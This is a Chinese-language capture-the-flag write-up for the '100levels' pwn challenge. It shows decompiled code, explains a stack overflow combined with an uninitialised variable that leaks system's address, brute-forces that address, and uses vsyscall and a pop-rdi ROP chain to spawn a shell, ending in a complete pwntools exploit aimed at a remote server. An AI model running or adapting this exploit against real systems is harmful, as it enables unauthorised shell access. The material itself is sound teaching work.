64位程序,沒開canary,但開了PIE #爆破 #vsyscall
程序邏輯
1 __int64 __fastcall main(__int64 a1, char **a2, char **a3) 2 { 3 int v3; // eax 4 5 set(); 6 put_logo(); 7 while ( 1 ) 8 { 9 while ( 1 ) 10 { 11 menu(); 12 v3 = read_int(); 13 if ( v3 != 2 ) 14 break; 15 hint(); 16 } 17 if ( v3 == 3 ) 18 break; 19 if ( v3 == 1 ) 20 go(); 21 else 22 puts("Wrong input"); 23 } 24 lose(); 25 return 0LL; 26 }
hint函數
1 int sub_D06() 2 { 3 signed __int64 v1; // [rsp+8h] [rbp-108h] 4 int v2; // [rsp+10h] [rbp-100h] 5 __int16 v3; // [rsp+14h] [rbp-FCh] 6 7 if ( unk_20208C ) 8 { 9 sprintf((char *)&v1, "Hint: %p\n", &system, &system); 10 } 11 else 12 { 13 v1 = 5629585671126536014LL; 14 v2 = 1430659151; 15 v3 = 78; 16 } 17 return puts((const char *)&v1); 18 }
go函數
1 int sub_B94() 2 { 3 int v1; // ST0C_4 4 __int64 v2; // [rsp+0h] [rbp-120h] 5 __int64 v3; // [rsp+0h] [rbp-120h] 6 int v4; // [rsp+8h] [rbp-118h] 7 __int64 v5; // [rsp+10h] [rbp-110h] 8 signed __int64 v6; // [rsp+10h] [rbp-110h] 9 signed __int64 v7; // [rsp+18h] [rbp-108h] 10 __int64 v8; // [rsp+20h] [rbp-100h] 11 12 puts("How many levels?"); 13 v2 = read_int(); 14 if ( v2 > 0 ) 15 v5 = v2; 16 else 17 puts("Coward"); 18 puts("Any more?"); 19 v3 = read_int(); 20 v6 = v5 + v3; 21 if ( v6 > 0 ) 22 { 23 if ( v6 <= 99 ) 24 { 25 v7 = v6; 26 } 27 else 28 { 29 puts("You are being a real man."); 30 v7 = 100LL; 31 } 32 puts("Let's go!'"); 33 v4 = time(0LL); 34 if ( (unsigned int)sub_E43((unsigned int)v7) != 0 ) 35 { 36 v1 = time(0LL); 37 sprintf((char *)&v8, "Great job! You finished %d levels in %d seconds\n", v7, (unsigned int)(v1 - v4), v3); 38 puts((const char *)&v8); 39 } 40 else 41 { 42 puts("You failed."); 43 } 44 exit(0); 45 } 46 return puts("Coward Coward Coward Coward Coward"); 47 }
sub_E43函數
1 _BOOL8 __fastcall sub_E43(signed int a1) 2 { 3 int v2; // eax 4 __int64 v3; // rax 5 __int64 buf; // [rsp+10h] [rbp-30h] 6 __int64 v5; // [rsp+18h] [rbp-28h] 7 __int64 v6; // [rsp+20h] [rbp-20h] 8 __int64 v7; // [rsp+28h] [rbp-18h] 9 unsigned int v8; // [rsp+34h] [rbp-Ch] 10 unsigned int v9; // [rsp+38h] [rbp-8h] 11 unsigned int v10; // [rsp+3Ch] [rbp-4h] 12 13 buf = 0LL; 14 v5 = 0LL; 15 v6 = 0LL; 16 v7 = 0LL; 17 if ( !a1 ) 18 return 1LL; 19 if ( (unsigned int)sub_E43((unsigned int)(a1 - 1)) == 0 ) 20 return 0LL; 21 v10 = rand() % a1; 22 v2 = rand(); 23 v9 = v2 % a1; 24 v8 = v2 % a1 * v10; 25 puts("===================================================="); 26 printf("Level %d\n", (unsigned int)a1); 27 printf("Question: %d * %d = ? Answer:", v10, v9); 28 read(0, &buf, 0x400uLL); 29 v3 = strtol((const char *)&buf, 0LL, 10); 30 return v3 == v8; 31 }
read(0,&buf,0x400uLL)這一句存在棧溢出
但這里無法泄露libc基地址
通過仔細看hint函數的匯編代碼
得知無論判斷條件是否成立,程序都會把system的地址放在rbp-0x110處
而go函數中v5也在rbp-0x110處,通過調試知道,這兩個函數的rbp相同
所以v5和system_adr在同一地址處存放
在go函數中,如果v2<=0,則v5未賦值便執行v6=v5+v3
此時v5的值便為system_adr
開啟pie時,地址后3個十六進制數不變,即system_adr地址為0x7xxxxxxxxxxxx390
而v6<=0時,程序輸出‘Coward’並返回菜單,循環運行
所以可以控制v3的值,爆破猜出system_adr的值
通過調試還可以看到棧溢出時,在偏移35個字長處有start的地址,可以通過vsyscall來讓程序ret到start處,而vsyscall的地址是固定不變的
利用思路
先運行一次hint,使rbp-0x110處為system_adr
v2輸入0,這時v5=system_adr
通過控制輸入v3的值,爆破猜system_adr的值
v3<-system_adr 時v6=system_adr+v3>0進入sub_E43函數,否則輸出’Coward‘
此時v3=system_adr-0x1000
通過棧溢出覆蓋v3=v8通過99次答題檢測
棧溢出,用vsyscall覆蓋棧直到start地址處,使程序返回到棧中的start地址處,重新運行程序
爆破出了system_adr,即可得到libc_基地址,在libc中尋找 ’/bin/sh\x00‘字符串
使用ROPgadget得到pop rdi ; ret 地址;
棧溢出,構造payload=offset*'a'+'b'*8+p32(poprdi_ret)+p32(binsh_adr)+p32(system_adr)觸發
exploit
1 from pwn import * 2 sh=remote('111.198.29.45',44894) 3 libc=ELF('./libc-2.23.so') 4 elf=ELF('./100levels') 5 6 def go(levels,more): 7 sh.recvuntil('Choice:\n') 8 sh.sendline('1') 9 sh.recvuntil('levels?\n') 10 sh.sendline(str(levels)) 11 sh.recvuntil('more?\n') 12 sh.sendline(str(more)) 13 14 def level(ans): 15 sh.recvuntil('Answer:') 16 sh.send(ans) 17 18 def hint(): 19 sh.recvuntil('Choice:\n') 20 sh.sendline('2') 21 count=0 22 leak=0x700000000390 23 for i in range(0x8,0x0,-1): 24 for j in range(0xf,-0x1,-1): 25 hint() 26 temp=leak+j*(1<<(i+2)*4) 27 go(0,-temp) 28 result=sh.recvline() 29 print result 30 if 'Coward' not in result:break 31 leak=temp 32 print hex(leak) 33 for k in range(99): 34 level(p64(0)*5) 35 level(p64(0xffffffffff600400)*35) 36 37 system_adr=leak+0x1000 38 print "system_adr: "+hex(system_adr) 39 system_off=libc.symbols['system'] 40 libc_base=system_adr-system_off 41 print "libc_base: "+hex(libc_base) 42 binsh_adr=libc_base+libc.search('/bin/sh\x00').next() 43 poprdi_ret=libc_base+0x21102 44 go(0,1) 45 payload='a'*0x30+'b'*8+p64(poprdi_ret)+p64(binsh_adr) 46 payload+=p64(system_adr) 47 sh.send(payload) 48 sh.interactive()